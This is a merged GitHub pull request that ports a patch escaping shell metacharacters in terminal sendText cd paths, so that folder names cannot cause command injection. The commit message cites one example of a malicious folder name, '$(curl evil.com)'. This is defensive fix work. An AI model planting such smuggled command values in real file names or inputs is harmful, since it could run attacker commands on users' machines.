Skip to content

Add patch to sanitize terminal sendText paths to prevent command injectiom#232

Merged
aakashmandavilli96 merged 1 commit intoaws:1.7from
aakashmandavilli96:1.7
Apr 14, 2026
Merged

Add patch to sanitize terminal sendText paths to prevent command injectiom#232
aakashmandavilli96 merged 1 commit intoaws:1.7from
aakashmandavilli96:1.7

Conversation

@aakashmandavilli96
Copy link
Copy Markdown

Ported from aws/code-editor PR #190.

Issue #, if available:

  • P381721885

Description of changes:

  • Fix the sanitize terminal command

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

…ction

Folder names containing shell metacharacters (e.g., $(curl evil.com))
can trigger command injection when extensions send commands like
"cd <path> && python file.py" via terminal.sendText(). This patch
escapes shell-dangerous characters in cd path arguments before the
text is written to the terminal process.

Ported from aws/code-editor PR aws#190.

sim: https://issues.amazon.com/issues/P381721885
Copy link
Copy Markdown

@austinjang2 austinjang2 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

@aakashmandavilli96 aakashmandavilli96 merged commit a9fb9fb into aws:1.7 Apr 14, 2026
3 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants